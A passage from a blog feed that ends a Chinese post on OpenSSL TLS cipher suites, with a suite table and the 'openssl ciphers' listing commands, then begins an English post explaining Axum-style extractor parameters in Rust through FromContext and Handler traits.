&lt;tr&gt;&lt;td&gt;&lt;strong&gt;34&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHE_PSK_WITH_AES_128_GCM_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHE-PSK-AES128-GCM-SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHEPSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AESGCM(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;35&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_RSA_WITH_AES_128_GCM_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES128-GCM-SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AESGCM(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;36&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK_WITH_AES_128_GCM_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK-AES128-GCM-SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AESGCM(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;37&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_RSA_WITH_AES_256_CBC_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES256-SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;38&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_RSA_WITH_AES_128_CBC_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES128-SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;39&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE_PSK_WITH_AES_256_CBC_SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE-PSK-AES256-CBC-SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHEPSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;40&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE_PSK_WITH_AES_256_CBC_SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE-PSK-AES256-CBC-SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHEPSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;41&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA_PSK_WITH_AES_256_CBC_SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA-PSK-AES256-CBC-SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSAPSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;42&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHE_PSK_WITH_AES_256_CBC_SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHE-PSK-AES256-CBC-SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHEPSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;43&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA_PSK_WITH_AES_256_CBC_SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA-PSK-AES256-CBC-SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SSLv3&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSAPSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;44&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHE_PSK_WITH_AES_256_CBC_SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHE-PSK-AES256-CBC-SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SSLv3&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHEPSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;45&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_RSA_WITH_AES_256_CBC_SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES256-SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SSLv3&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;46&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK_WITH_AES_256_CBC_SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK-AES256-CBC-SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;47&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK_WITH_AES_256_CBC_SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK-AES256-CBC-SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SSLv3&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;48&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE_PSK_WITH_AES_128_CBC_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE-PSK-AES128-CBC-SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHEPSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;49&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE_PSK_WITH_AES_128_CBC_SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE-PSK-AES128-CBC-SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHEPSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;50&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA_PSK_WITH_AES_128_CBC_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA-PSK-AES128-CBC-SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSAPSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;51&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHE_PSK_WITH_AES_128_CBC_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHE-PSK-AES128-CBC-SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHEPSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;52&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA_PSK_WITH_AES_128_CBC_SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA-PSK-AES128-CBC-SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SSLv3&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSAPSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;53&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHE_PSK_WITH_AES_128_CBC_SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHE-PSK-AES128-CBC-SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SSLv3&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHEPSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;54&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_RSA_WITH_AES_128_CBC_SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES128-SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SSLv3&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;55&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK_WITH_AES_128_CBC_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK-AES128-CBC-SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;56&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK_WITH_AES_128_CBC_SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK-AES128-CBC-SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SSLv3&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;当然也不能任意指定，指定时要看客户端是否支持。比如使用谷歌浏览器访问Nginx服务，抓包可以看到客户端支持的所有加密套件。那么服务端指定加密套件时，就只能从以下支持的加密套件中选择一个。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openssl-tls-ciphersuites&#x2F;chrome-captured-tls-ciphersuites.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ling-xing-gong-ju&quot;&gt;令行工具&lt;&#x2F;h2&gt;
&lt;p&gt;OpenSSL提供了命令行工具，可以查看加密套件&lt;&#x2F;p&gt;
&lt;p&gt;1、查看OpenSSL支持的所有加密套件&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;openssl ciphers -v&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;2、查看OpenSSL支持的所有加密套件，但身份验证和加密算法不能为空&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;openssl ciphers -v ‘ALL:!aNULL’&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>rust-magic-function-params</title>
        <published>2024-05-27T00:00:00+00:00</published>
        <updated>2024-05-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/rust-magic-function-params/"/>
        <id>https://vercel.juzhong.asia/obsidian/rust-magic-function-params/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/rust-magic-function-params/">&lt;h1 id=&quot;rust-magic-function-params&quot;&gt;rust-magic-function-params&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;rusts-axum-style-magic-function-params-example&quot;&gt;Rusts Axum style magic function params example&lt;&#x2F;h2&gt;
&lt;p&gt;Learning Rust I met a rigid, statically typed language. Specifically it has no function overloading or optional function parameters.&lt;&#x2F;p&gt;
&lt;p&gt;Coming across &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tokio-rs&#x2F;axum&quot;&gt;Axum&lt;&#x2F;a&gt; I was amazed to see stuff like:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;let app = Router::new()
  .route(&amp;quot;&amp;#x2F;users&amp;quot;, get(get_users))
  .route(&amp;quot;&amp;#x2F;products&amp;quot;, get(get_product));

async fn get_users(Query(params): Query&amp;lt;Params&amp;gt;) -&amp;gt; impl IntoResponse {
    let users = &amp;#x2F;* ... *&amp;#x2F;

    Json(users)
}

async fn get_product(State(db): State&amp;lt;Db&amp;gt;, Json(payload): Json&amp;lt;Payload&amp;gt;) -&amp;gt; String {
  let product = &amp;#x2F;* ... *&amp;#x2F;

  product.to_string()
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;code&gt;get&lt;&#x2F;code&gt; method can receive a function pointer to various types of functions! What kind of black magic is this? 🤯&lt;&#x2F;p&gt;
&lt;p&gt;I had to create a simplified version of this to figure this out.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn print_id(id: Id) {
    println!(&amp;quot;id is {}&amp;quot;, id.0);
}

&amp;#x2F;&amp;#x2F; Param(param) is just pattern matching
fn print_all(Param(param): Param, Id(id): Id) {
    println!(&amp;quot;param is {param}, id is {id}&amp;quot;);
}

pub fn main() {
    let context = Context::new(&amp;quot;magic&amp;quot;.into(), 33);

    trigger(context.clone(), print_id);
    trigger(context.clone(), print_all);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In the example we have a &lt;code&gt;trigger&lt;&#x2F;code&gt; method that receives a &lt;code&gt;Context&lt;&#x2F;code&gt; object and a function pointer. The function pointer might receive 1 or 2 parameters of the &lt;code&gt;Id&lt;&#x2F;code&gt; or &lt;code&gt;Param&lt;&#x2F;code&gt; types. Magic?&lt;&#x2F;p&gt;
&lt;h2 id=&quot;moving-parts&quot;&gt;Moving parts&lt;&#x2F;h2&gt;
&lt;p&gt;Lets look at the moving parts to achieve this&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-context&quot;&gt;The context&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct Context {
    param: String,
    id: u32,
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;code&gt;Context&lt;&#x2F;code&gt; is the received state, &lt;code&gt;Request&lt;&#x2F;code&gt; in Axums case. This is the source of the &quot;parts&quot; our functions want to receive. In this simplified example it contains two data fields&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-fromcontext-trait&quot;&gt;The FromContext trait&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;trait FromContext {
    fn from_context(context: &amp;amp;Context) -&amp;gt; Self;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The first trick is the &lt;code&gt;FromContext&lt;&#x2F;code&gt; trait. It will allow us to create &quot;Extractors&quot; that extract the necessary data from the context object. For example&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;pub struct Param(pub String);

impl FromContext for Param {
    fn from_context(context: &amp;amp;Context) -&amp;gt; Self {
        Param(context.param.clone())
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This trait will allow us to hold a &lt;code&gt;Context&lt;&#x2F;code&gt; but call a function that expects &lt;code&gt;Param&lt;&#x2F;code&gt;. More on this later&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-handler-trait&quot;&gt;The Handler trait&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;trait Handler&amp;lt;T&amp;gt; {
    fn call(self, context: Context);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The second trick is the Handler trait. We will implement the trait for the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;reference&#x2F;types&#x2F;closure.html&quot;&gt;closure type&lt;&#x2F;a&gt;&lt;code&gt;Fn(T)&lt;&#x2F;code&gt;. Yeah we can implement traits for closure types. This implementation will allow us to have a &quot;middleware&quot; between the function call and its arguments. Here we will call the &lt;code&gt;FromContext::from_context&lt;&#x2F;code&gt; method, converting the context to the expected function argument i.e &lt;code&gt;Param&lt;&#x2F;code&gt; or &lt;code&gt;Id&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
